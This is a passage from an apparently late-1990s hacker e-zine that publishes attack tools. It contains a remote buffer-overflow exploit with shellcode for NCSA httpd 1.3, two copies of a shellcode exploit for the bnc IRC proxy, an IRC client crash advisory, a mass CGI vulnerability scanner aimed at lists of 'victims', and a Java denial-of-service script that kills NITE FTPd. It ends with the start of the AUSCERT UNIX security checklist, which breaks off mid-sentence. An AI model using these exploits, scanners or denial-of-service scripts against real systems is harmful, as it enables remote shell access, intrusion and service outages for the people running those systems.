HTTPD exploit
~~~~~~~~~~~~~
/*
* NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23
*
* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!!
*
* usage:
* $ (hackttpd 0; cat) | nc victim 143
* |
* +--> usually from -1000 to 1000 (try steeps of 100)
*/
#include <stdio.h>
unsigned char shell[] = {
'/',0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76,
0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b,
0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff,
'b','i','n','/','s','h'
};
char username[256+8];
void main(int argc, char *argv[]) {
int i,a;
long val;
if(argc>1)
a=atoi(argv[1]);
else
a=0;
strcpy(username,shell);
for(i=strlen(shell);i<sizeof(username);i++)
username[i]=0x90; /* NOP */
val = 0xbfff537c + 4 + a;
i=sizeof(username)-4;
{
username[i+0] = val & 0x000000ff;
username[i+1] = (val & 0x0000ff00) >> 8;
username[i+2] = (val & 0x00ff0000) >> 16;
username[i+3] = (val & 0xff000000) >> 24;
}
username[ sizeof(username) ] = 0;
printf("GET %s\n/bin/bash -i 2>&1;\n", username);
}
@HWA
36.0 KeyRoot XiRCON DoS advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ ______ __ ___ _____ ____ __________
/ / / ___/ \ \/ / / \ / \ ____ /___ ___/
/ /__ / /__ \ / / <> / / __ \ / \ / /
/ ___/ / __/ / / / _/ \ / / __ \ / /
/ \ / /__ / / / /\ \ \____/ \ / \ \
/__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\
Proudly Presents:
A Denial of Service Attack Against the XiRCON IRC Client
Discovered by Wyzewun [w1@antioffline.com]
Copyright KeyRoot Systems, 199... Aah, hell, Take it. :P
Ehehehe, this is appearing for the first time to the public right here in
HWA.hax0r.news - yeap, I know I should save stuff for my *own* zine, but wtf,
who cares? It's all so lame anywayz. :P
I've noticed that XiRCON doesn't seem to be very fussy about what it gets in
CTCP requests (it answers VERSION requests even if they are requesting
VERSION-OF-YER-ANAL-P0RT or whatever.) So, I began to wonder what XiRCON would
think if I decided to do something to the effect of...
/ctcp luzer <random-garbage-goes-here>
(On Victim's Side)
*** ERROR: Line length exceeded
*** :wyze1!wyze1@loves.to.idle.za.org PRIVMSG luzer :If-I-was-a-lame-DoS-Kiddy
-then-who-would-I-DoS-Hmmmmmmmmmmmmmmmm-I-Know!-Id-Find-Some-Clueless-Bastich-
Running-some-or-other-dumb-Windoze-IRC-Client-and-Id-make-his-life-a-misery!Ya
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaayyyy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*** Disconnected from irc.idle.net
(On Attackers Side)
.cRk. [Signoff/luzer(#XiRCON)] (Winsock Error 0)
Hmmm, seems like our dear XiRCON user decided to retire from IRC earlier than
usual today. =) Ehehe, I tested this on version 1.0B4, but I have no doubt
that it will work on all prior versions just fine. Note that this bug can be
used on entire channels. The original test-drive occured on all of #XiRCON
itself and the results were quite spectacular. :P
Also, be sure not to bother sending *too* many garbage characters, as sending
too many and thus reaching your Max I/O on that server will get you killed.
However, the amount of garbage necessary to kill XiRCON is well below the
Max I/O for all IRC daemons I have seen. So have fun! :)
Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux,
egodeath, Timewiz, jus, f0bic, CoLdBLood, and everyone in #!krs, #overflo,
#b4b0, #legions and #hwa.hax0r.news - I feel for y'all. :>
And extra special shoutz to Mark Hanson: the maker of XiRCON - great client -
just keep on bashing those bugs out of it. :)
Fuck Youz fly out to anyone who thinks that defacing webpages or denial of
service is elite - y'all can suck my dick. :-/
Cheers,
Wyzewun [KRS]
--==--==--==--==--==-->>
w1@antioffline.com
www.posthuman.za.net
@HWA
37.0 BNC cracker, bust BNC's
~~~~~~~~~~~~~~~~~~~~~~~
/*
Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
by duke (duke@viper.net.au)
32sep98 FreeBSD version by stran9er
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#define ADDR 0xefbfd907
#define RETPTR 1036
#define BUFSIZE 1041
#define SHELLOFFSET 23
char shellcode[] =
/* added by me dup(0);dup(0) */
"\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377"
"\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53"
"\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF"
/* generic shellcode */
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
void main (int argc, char **argv)
{
char buf[BUFSIZE+5];
unsigned long int addr = ADDR;
int i;
if (argc > 1) addr += atoi (argv[1]);
fprintf (stderr, "Using address: 0x%X\n", addr);
memset (buf, 0x90, BUFSIZE);
for (i = RETPTR; i < BUFSIZE - 4; i += 4)
*(long *) &buf[i] = addr;
memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
shellcode, strlen (shellcode));
buf[BUFSIZE]=0;
printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
}
'vanity version'
~~~~~~~~~~~~~~~~
/*
Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
by duke (duke@viper.net.au)
32sep98 FreeBSD version by stran9er
Greet to
!@$@$A#%$#@!D%$#@!$#M@%%$@%c$!@$#!r!%$@e@$!#$#%w$@#$@#!!!#@$#$%
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#define ADDR 0xefbfd907
#define RETPTR 1036
#define BUFSIZE 1041
#define SHELLOFFSET 23
char shellcode[] =
/* added by me dup(0);dup(0) */
"\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377"
"\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53"
"\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF"
/* generic shellcode */
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
void main (int argc, char **argv)
{
char buf[BUFSIZE+5];
unsigned long int addr = ADDR;
int i;
if (argc > 1) addr += atoi (argv[1]);
fprintf (stderr, "Using address: 0x%X\n", addr);
memset (buf, 0x90, BUFSIZE);
for (i = RETPTR; i < BUFSIZE - 4; i += 4)
*(long *) &buf[i] = addr;
memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
shellcode, strlen (shellcode));
buf[BUFSIZE]=0;
printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
}
@HWA
38.0 Twstdpair's file grabber for 4dos w/netcat [HWA]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
grabber.btm is a 4dos batch file, if you're not using 4dos then you should
be. It beats the crap out of MSDOS and since even with Winblows you often
need to return to 'shell' for some stuff 4dos makes it oh so much easier.
Try it.
-----/snip/------
rem grabber.btm
rem written by Twstdpair [HWA]
rem greets to #hwa.hax0r.news ppl
setlocal
set URL=www.csoft.net
set start=1
set end=37
rem get first 37 issues of HWA,hax0r.news
for /l %loop in (%start,1,%end) do (
set rmtfile=/~hwa/HWA-hn%loop%.zip
set locfile=HWA-hn%loop%.zip
echo grabbing %URL%%rmtfile% to %locfile%...
echo GET %rmtfile | nc %URL 80 > %locfile
)
endlocal
-----/snip/------
@HWA
39.0 SeeGeeEye exploit scanner by KeyRoot
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
NOTE: A class file is needed with this JAVA, which should be included in your
.zip version of this newsletter.
/* ____ ______ __ ___ _____ ____ __________
* / / / ___/ \ \/ / / \ / \ ____ /___ ___/
* / /__ / /__ \ / / <> / / __ \ / \ / /
* / ___/ / __/ / / / _/ \ / / __ \ / /
* / \ / /__ / / / /\ \ \____/ \ / \ \
* /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\
*
* Proudly Presents: SeeGeeEye.java v1.3
* Coded by: Wyzewun [w1@macroshaft.org]
*
* Performs mass auditing for 94 CGI Related Vulnerabilities - Ouch =D
*
* Apologies for 1.2 being such a buggy release -- but I did the whole thing
* while tripping so it was pretty fucked up. :P Ehe, anyway, this new version
* is 100% bug-free as far as I know. ;) Yah, despite me ending up re-coding
* it while tripping *again* - it works great. And at that, much better than
* 99% of any other scanners available. :P
*
* Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux,
* egodeath, Timewiz, jus, f0bic, CoLdBLood and everyone in #!krs, #overflo,
* #b4b0, #legions and #hwa.hax0r.news on EFNet - Keep it Real peepz. :)
*
* And disses go out to the usual: Every dumb defacement crew that plagues our
* earth, Every luzer that thinks Denial of Service is elite, and everybody
* who has never experienced the joys of MDMA. :>
*
* Compilation...
* javac SeeGeeEye.java
*
* Syntax without Proxy support...
* java SeeGeeEye list.txt
*
* Syntax with Proxy support...
* java -Dhttp.proxyHost=proxy -Dhttp.proxyPort=port SeeGeeEye list.txt
*
*/
import java.io.*;
import java.net.*;
public class SeeGeeEye {
public static void main(String[] args) throws IOException {
if (args.length != 1) {
System.out.println("Syntax: java SeeGeeEye [list-of-hosts]");
System.exit(1);
}
URL bastich;
String victim;
String response;
boolean bother;
BufferedReader een = null;
DataInputStream heh = new DataInputStream(new FileInputStream(args[0]));
/* These are the vulnerabilities the proggy checks for. It's fine to put
your own strings in here - nothing will break. :) */
String[] vulns = { "cgi-bin/phf",
"cgi-bin/php.cgi",
"cgi-bin/campas",
"cgi-bin/htmlscript",
"cgi-bin/aglimpse",
"cgi-bin/websendmail",
"cgi-bin/info2www",
"cgi-bin/pfdispaly.cgi",
"scripts/convert.bas",
"cgi-bin/webdist.cgi",
"cgi-bin/Count.cgi",
"cgi-bin/webgais",
"_vti_pvt/service.pwd",
"cgi-bin/test-cgi",
"cgi-bin/handler",
"cgi-bin/cachemgr.cgi",
"_vti_pvt/administrators.pwd",
"_vti_pvt/users.pwd",
"_vti_pvt/authors.pwd",
"cgi-bin/pfdisplay",
"cgi-bin/pfdisplay.cgi",
"cgi-bin/perl.exe",
"cgi-bin/wwwboard.pl",
"cgi-bin/www-sql",
"cgi-bin/man.sh",
"cgi-bin/view-source",
"cgi-bin/nph-test-cgi",
"cgi-bin/nph-publish",
"cgi-bin/wrap",
"cgi-bin/textcounter.pl",
"cgi-bin/environ.cgi",
"cgi-bin/query",
"cgi-bin/rpm_query",
"cfdocs/expeval/openfile.cfm",
"cfdocs/expelval/openfile.cfm",
"cfdocs/expeval/displayopenedfile.cfm",
"cfdocs/expeval/exprcalc.cfm",
"cgi-bin/finger",
"cgi-bin/bnbform.cgi",
"cgi-bin/survey.cgi",
"cgi-bin/classifieds.cgi",
"cgi-bin/AnyForm2",
"cgi-bin/AT-admin.cgi",
"cgi-bin/unlg1.1",
"cgi-bin/filemail.pl",
"cgi-bin/maillist.pl",
"cgi-bin/jj",
"cgi-bin/files.pl",
"cgi-dos/args.bat",
"cgi-win/uploader.exe",
"search97.vts",
"config/import.txt",
"config/checks.txt",
"orders/import.txt",
"orders/checks.txt",
"cgi-bin/rwwwshell.pl",
"cgi-bin/faxsurvey",
"cgi-bin/view-source",
"cgi-bin/glimpse",
"cgi-bin/cgiwrap",
"cgi-bin/guestbook.cgi",
"cgi-bin/edit.pl",
"cgi-bin/perlshop.cgi",
"_vti_inf.html",
"_vti_bin/shtml.dll",
"_vti_bin/shtml.exe",
"cgi-bin/rguest.exe",
"cgi-bin/wguest.exe",
"scripts/iisadmin/bdir.htr",
"scripts/tools/newdsn.exe",
"scripts/fpcount.exe",
"iissamples/exair/howitworks/codebrws.asp",
"iissamples/sdk/asp/docs/codebrws.asp",
"msads/Samples/SELECTOR/showcode.asp",
"carbo.dll",
"cgi-bin/dbmlparser.exe",
"cgi-bin/flexform.cgi",
"cgi-bin/bnbform.cgi",
"cgi-bin/responder.cgi",
"cgi-bin/whois_raw.cgi",
"iisadmpwd/achg.htr",
"iisadmpwd/aexp.htr",
"iisadmpwd/aexp2.htr",
"iisadmpwd/aexp2b.htr",
"iisadmpwd/aexp3.htr",
"iisadmpwd/aexp4.htr",
"iisadmpwd/aexp4b.htr",
"iisadmpwd/anot.htr",
"iisadmpwd/anot3.htr",
// Is this right or is it CGImail.exe? :-/
"scripts/cgimail.exe",
"cgi-bin/day5datacopier.cgi",
"cgi-bin/day5datanotifier.cgi",
"cgi-bin/gH.cgi" };
System.out.print("SeeGeeEye.java v1.3 by Wyzewun [KRS] loaded.\n\n");
while ((victim = heh.readLine()) != null) {
for (int i = 0; i < vulns.length; i++) {
bother = true;
try {
bastich = new URL("http://" + victim + "/" + vulns[i]);
een = new BufferedReader(new InputStreamReader(bastich.openStream()));
} catch (Exception e) {
bother = false;
i = vulns.length; }
if (bother) {
try {
response = een.readLine();
if ((Integer.parseInt(String.valueOf(response.charAt(9)))) == 2)
System.out.println("Found /" + vulns[i] + " on " + victim);
een.close();
} catch (Exception e) { } } } }
System.out.println("\nAll hosts in " + args[0] + " scanned."); } }
@HWA
40.0 NiteClub.JAVA by KeyRoot
~~~~~~~~~~~~~~~~~~~~~~~~
NOTE: A class file is needed with this JAVA, which should be included in your
.zip version of this newsletter.
/* ____ ______ __ ___ _____ ____ __________
* / / / ___/ \ \/ / / \ / \ ____ /___ ___/
* / /__ / /__ \ / / <> / / __ \ / \ / /
* / ___/ / __/ / / / _/ \ / / __ \ / /
* / \ / /__ / / / /\ \ \____/ \ / \ \
* /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\
*
* Proudly Presents: niteclub.java
* Coded By: Wyzewun [w1@antioffline.com]
*
* Unreleased Denial of Service Attack -- Here for the first time publically
* in HWA.hax0r.news =)
*
* Yet ANOTHER way to kill NITE FTPd. Tested on version 1.051b and assumed to
* work on all prior versions as well. *Sigh* Well, this is what happens when
* you code your software in Visual Basic. :P Anyway, this code will actually
* take the daemon out completely, instead of only stopping it from responding
* while the attack is running like in nitestick.java by me. Also, unlike
* nitestick, this code will have no adverse effect on Windows - it will
* simply make the daemon die with the following obituary...
*
* Run-time error '-2147024882 (8007000e)':
* Out of memory
*
* Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux,
* egodeath, Timewiz, jus, f0bic, CoLdBLood and everyone in #!krs, #overflo,
* #b4b0, #legions and #hwa.hax0r.news on EFNet - Keep it Real. :)
*
* And disses go out to the usual: Every dumb defacement crew that plagues our
* earth, every luzer that thinks Denial of Service is elite, and everybody
* who has never experienced the joys of MDMA. :D
*
*/
import java.io.*;
import java.net.*;
public class niteclub {
public static void main(String[] args) throws IOException {
Socket evilSocket = null;
PrintWriter out = null;
boolean dead = false;
if (args.length != 1) {
System.out.println("Syntax: java niteclub [hostname]");
System.exit(0);
}
// Shameless Self-Glorification Banner :-/
System.out.print("niteclub.java by wyze1\n\n");
try {
evilSocket = new Socket(args[0], 21);
out = new PrintWriter(evilSocket.getOutputStream(), true);
} catch (UnknownHostException e) {
System.out.println("Hostname lookup for " + args[0] + " failed.");
System.exit(1);
} catch (IOException e) {
System.out.println("I/O Error");
System.exit(1);
}
out.println("USER anonymous");
out.println("PASS get-ready-to-die-bitch");
System.out.print("Connected to " + args[0] + " - Launching attack...");
for (int x = 0; x < 1000; x++) out.println("USER KeyRoot-0wnz-You");
System.out.println(" uNf! Bitch went down! :)");
} }
@HWA
41.0 The securing UNIX checklist circa 1995
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anyone have an update of this phile? send it via email attachment plz or msg me
the url... tnx.
http://www.felons.org/pub/security/
-----BEGIN PGP SIGNED MESSAGE-----
==============================================================================
UNIX Computer Security Checklist (Version 1.1) Last Update 19-Dec-1995
==============================================================================
The Australian Computer Emergency Response Team has developed a checklist which
assists in removing common and known security vulnerabilities under the UNIX
Operating System. It is based around recently discovered security
vulnerabilities and other checklists which are readily available (see
references in Appendix C).
This document can be retrieved via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/auscert/papers/unix_security_checklist
For information about detecting or recovering from an intrusion, see the
CERT security information document which can be retrieved via anonymous ftp
from:
ftp://ftp.auscert.org.au/pub/cert/tech_tips/security_info
It is AUSCERT's intention to continue to update this checklist. Any
comments should be directed via email to auscert@auscert.org.au. Before
using this document, ensure you have the latest version. New versions of this
checklist will be placed in the same area on the ftp server and should be
checked for periodically.
In order to make effective use of this checklist, readers will need to have
a good grasp of basic UNIX system administration concepts. Refer to C.9 and
C.10 for books on UNIX system administration.
If possible, apply this checklist to a system before attaching it to a network.
In addition, we recommend that you use the checklist on a regular basis as well
as after you install any patches or new versions of the operating system, with
consideration given to the appropriateness of each action to your particular
situation.
Command examples have been supplied for BSD-like and SVR4-like systems (see
Appendix F for operating system details and Appendix G for command details).
Full directory paths and program options may vary for different flavours of
UNIX. If in doubt, consult your vendor documentation.
For ease of use, the checklist has been organised into separate, logically
cohesive sections. All sections are important. An abbreviated version of
this checklist can be found in Appendix D.
CHECKLIST INDEX: 1.0 Patches
2.0 Network security
3.0 ftpd and anonymous ftp
4.0 Password and account security
5.0 File system security
6.0 Vendor operating system specific security
7.0 Security and the X Window System
APPENDICES: Appendix A Other AUSCERT information sources
Appendix B Useful security tools
Appendix C References
Appendix D Abbreviated Checklist
Appendix E Shell Scripts
Appendix F Table of operating systems by flavour
Appendix G List of commands by flavour
Any trademarks which appear in this document are registered to their
respective owners.
==============================================================================
1.0 Patches
==============================================================================
* Retrieve the latest patch list from your vendor and install any
patches not yet installed that are recommended for your system.
Some patches may re-enable default configurations. For this
reason, it is important to go through this checklist AFTER
installing ANY new patches or packages.
* Details on obtaining patches may be found in Section 6.
* Verify the digital signature of any signed files. Tools like PGP may
be used to sign files and to verify those signatures.
(Refer to B.15 for PGP access information).
* If no digital signature is supplied but an md5(1) checksum is supplied,
then verify the checksum information to confirm that you have retrieved
a valid copy.
(Refer to B.10 for MD5 access information).
* If only a generic sum(1) checksum is provided, then check that. Be
aware that the sum(1) checksum should not be considered secure.
==============================================================================
2.0 Network security
==============================================================================
The following is a list of features that can be used to help
prevent attacks from external sources.
2.1 Filtering
* ENSURE that ONLY those services which are required from outside your
domain are allowed through your router filters.
In particular, if the following are not required outside your
domain, then filter them out at the router.
NAME PORT PROTOCOL NAME PORT PROTOCOL
echo 7 TCP/UDP login 513 TCP
systat 11 TCP shell 514 TCP
netstat 15 TCP printer 515 TCP
bootp 67 UDP biff 512 UDP
tftp 69 UDP who 513 UDP
link 87 TCP syslog 514 UDP
supdup 95 TCP uucp 540 TCP
sunrpc 111 TCP/UDP route 520 UDP
NeWS 144 TCP openwin 2000 TCP
snmp 161 UDP NFS 2049 UDP/TCP
xdmcp 177 UDP X11 6000 to 6000+n TCP
exec 512 TCP (where n is the maximum number
of X servers you will have)
Note: Any UDP service that replies to an incoming packet may be
subject to a denial of service attack.
See CERT advisory CA-95.01 (C.8) for more details.
Filtering is difficult to implement correctly. For information on
packet filtering, please see Firewalls and Internet Security (C.6)
and Building Internet Firewalls (C.7).
2.2 "r" commands
2.2.1 If you don't NEED to use the "r" commands...
* DO disable all "r" commands (rlogin, rsh etc.) unless specifically
required.
This may increase your risk of password exposure in network
sniffer attacks, but "r" commands have been a regular source of
insecurities and attacks. Disabling them is by far the lesser of
the two evils (see 2.9.1).
2.2.2 If you must run the "r" commands...
* DO use more secure versions of the "r" commands for cases where
there is a specific need.
Wietse Venema's logdaemon package contains a more secure version
of the "r" command daemons. These versions can be configured to
consult only /etc/hosts.equiv and not $HOME/.rhosts. There is
also an option to disable the use of wildcards ('+').
Refer to B.13 for access information for the logdaemon package
* DO filter ports 512,513 and 514 (TCP) at the router if you do use any
of the "r" commands.
This will stop people outside your domain from exploiting these
commands but will not stop people inside your domain.
To do this you will need to disable these commands (see 2.2.1).
* DO use tcp_wrappers to provide greater access and logging on these
network services (see 2.12).
2.3 /etc/hosts.equiv
2.3.1 It is recommended that the following action be taken whether or not
the "r" commands are in use on your system.
* CHECK if the file /etc/hosts.equiv is required.
If you are running "r" commands, this file allows other hosts to
be trusted by your system. Programs such as rlogin can then be
used to log on to the same account name on your machine from a
trusted machine without supplying a password.
If you are not running "r" commands or you do not wish to
explicitly trust other systems, you should have no use for
this file and it should be removed. If it does not exist, it
cannot cause you any problems if any of the "r" commands are
accidentally re-enabled.
2.3.2 If you must have a /etc/hosts.equiv file
* ENSURE that you keep only a small number of TRUSTED hosts listed.
* DO use netgroups for easier management if you run NIS (also known
as YP) or NIS+.
* DO only trust hosts within your domain or under your management.
* ENSURE that you use fully qualified hostnames,
i.e., hostname.domainname.au
* ENSURE that you do NOT have a '+' entry by itself anywhere in the
file as this may allow any user access to the system.
* ENSURE that you do not use '!' or '#' in this file.
There is no comment character for this file.
* ENSURE that the first character of the file is not '-'.
Refer to the CERT advisory CA-91:12 (C.8).
* ENSURE that the permissions are set to 600.
* ENSURE that the owner is set to root.
* CHECK it again after each patch or operating system installation.
2.4 /etc/netgroup
* If you are using NIS (YP) or NIS+, DO define each netgroup to contain
only usernames or only hostnames.
All utilities parse /etc/netgroup for either hosts or
usernames, but never both. Using separate netgroups makes it
easier to remember the function of each netgroup. The added
time required to administer these extra netgroups is a small
cost in ensuring that strange permission combinations have not
left your machine in an insecure state.
Refer to the manual pages for more information.
2.5 $HOME/.rhosts
2.5.1 It is recommended that the following action be taken whether or not
the "r" commands are in use on your system.
* ENSURE that no user has a .rhosts file in their home directory.
They pose a greater security risk than /etc/hosts.equiv, as one
can be created by each user. There are some genuine needs for
these files, so hear each one on a case-by-case basis; e.g.,
running backups over a network unattended.
* DO use cron to periodically check for, report the contents of
and delete $HOME/.rhosts files. Users should be made aware that
you regularly perform this type of audit, as directed by policy.
2.5.2 If you must have such a file
* ENSURE the first character of the file is not '-'.
Refer to the CERT advisory CA-91:12 (C.8).
* ENSURE that the permissions are set to 600.
* ENSURE that the owner of the file is the account's owner.
* ENSURE that the file does NOT contain the symbol "+" on any line as
this may allow any user access to this account.
* ENSURE that usage of netgroups within .rhosts does not allow
unintended access to this account.
* ENSURE that you do not use '!' or '#' in this file.
There is no comment character for this file.
* REMEMBER that you can also use logdaemon to restrict the use of
$HOME/.rhosts (see 2.2.2).
2.6 NFS
When using NFS, you implicitly trust the security of the NFS server
to maintain the integrity of the mounted files.
* DO filter NFS traffic at the router.
Filter TCP/UDP on port 111
TCP/UDP on port 2049
This will prevent machines not on your subnet from accessing
file systems exported by your machines.
* DO apply all available patches.
NFS has had a number of security vulnerabilities.
* DO disable NFS if you do not need it.
See your vendor supplied documentation for detailed instructions.
* DO enable NFS port monitoring.
Calls to mount a file system will then be accepted from ports < 1024
only. This will provide added security in some circumstances.
See your vendor's documentation to determine whether this is an
option for your version of UNIX (see also 6.1.8 and 6.2.4).
* DO use /etc/exports or /etc/dfs/dfstab to export ONLY the file systems
you need to export.
If you aren't certain that a file system needs to be exported,
then it probably shouldn't be exported.
* DO NOT self-reference an NFS server in its own exports file.
i.e., The exports file should not export the NFS server to
itself in part or in total. In particular, ensure the NFS server
is not contained in any netgroups listed in its exports file.
* DO NOT allow the exports file to contain a 'localhost' entry.
* DO export to fully qualified hostnames only.
i.e., Use the full machine address 'machinename.domainname.au' and
do not abbreviate it to 'machinename'.
* ENSURE that export lists do not exceed 256 characters.
If you have access lists of hosts within /etc/exports, the list
should not exceed 256 characters AFTER any host name aliases have
been expanded.
Refer to the CERT Advisory CA-94:02 (C.8).
* DO run fsirand for all your file systems and rerun it periodically.
Firstly, ensure that you have installed any patches for fsirand.
Then ensure the file system is unmounted and run fsirand.
Predictable file handles assist crackers in abusing NFS.
* ENSURE that you never export file systems unintentionally to the world.
Use a -access=host.domainname.au option or equivalent in
/etc/exports.
See the manual page
for "exports" or "dfstab" for further examples.
* DO export file systems read-only (-ro) whenever possible.
See the manual page for "exports" or "dfstab" for more information.
* If NIS is required in your situation, then DO use the secure option in
the exports file and mount requests (if the secure option is available).
* DO use showmount -e to see what you currently have exported.
* ENSURE that the permissions of /etc/exports are set to 644.
* ENSURE that /etc/exports is owned by root.
* ENSURE that you run a portmapper or rpcbind that does not forward
mount requests from clients.
A malicious NFS client can ask the server's portmapper daemon
to forward requests to the mount daemon. The mount daemon
processes the request as if it came directly from the portmapper.
If the file system is self-mounted this gives the client
unauthorised permissions to the file system.
Refer to section B.14 for how to obtain an alternate portmapper or
rpcbind that disallow proxy access.
Refer to the CERT Advisory 94:15 (C.8).
* REMEMBER that changes in /etc/exports will take effect only after
you run /usr/etc/exportfs or equivalent.
Note: A "web of trust" is created between hosts connected to each other via
NFS. That is, you are trusting the security of any NFS server you use.
2.7 /etc/hosts.lpd
* ENSURE that the first character of the file is not '-'.
(Refer to the CERT advisory CA-91:12 (see C.8)).
* ENSURE that the permissions on this file are set to 600.
* ENSURE that the owner is set to root.
* ENSURE that you do not use '!' or '#' in this file.
There is no comment character for this file.
2.8 Secure terminals
* This file may be called /etc/ttys, /etc/default/login or
/etc/security. See the manual pages for file format and usage
information.
* ENSURE that the secure option is removed from all entries that
don't need root login capabilities.
The secure option should be removed from console if you do not
want users to be able to reboot in single user mode.
Note: This does not affect usability of the su(1) command.
* ENSURE that this file is owned by root.
* ENSURE that the permissions on this file are 644.
2.9 Network services
2.9.1 /etc/inetd.conf
* ENSURE that the permissions on this file are set to 600.
* ENSURE that the owner is root.
* DO disable any services which you do not require.
- To do this we suggest that you comment out ALL services by
placing a "#" at the beginning of each line. Then enable
the ones you NEED by removing the "#" from the beginning
of the line. In particular, it is best to avoid "r" commands
and tftp, as they have been major sources of insecurities.
- For changes to take effect, you need to restart the inetd
process. Do this by issuing the commands in G.1. For some
systems (including AIX), these commands are not sufficient.
Refer to vendor documentation for more information.
2.9.2 Portmapper
* DO disable any non-required services that are started up in the system
startup procedures and register with the portmapper. See G.2 for a
command to help check for registered services.
2.10 Trivial ftp (tftp)
* If tftp is not needed, comment it out from the file
/etc/inetd.conf and restart the inetd process (as above).
* If required, read the AUSCERT Advisory SA-93:05 (see A.1) and follow
the recommendations.
2.11 /etc/services
* ENSURE that the permissions on this file are set to 644.
* ENSURE that the owner is root.
2.12 tcp_wrapper (also known as log_tcp)
* ENSURE that you are using this package.
- Customise and install it for your system.
- Enable PARANOID mode
- Consider running with the RFC931 option
- Deny all hosts by putting "all:all" in /etc/hosts.deny and
explicitly list trusted hosts who are allowed access to your
machine in /etc/hosts.allow.
- See the documentation supplied with this package for details
about how to do the above.
* DO wrap all TCP services that you have enabled in /etc/inetd.conf
* DO consider wrapping any udp services you have enabled. If you
wrap them, then you will have to use the nowait option in the
/etc/inetd.conf file.
* See section B.4 for instructions to obtain tcp_wrapper.
2.13 /etc/aliases
* Comment out the "decode" alias by placing a "#" at the beginning
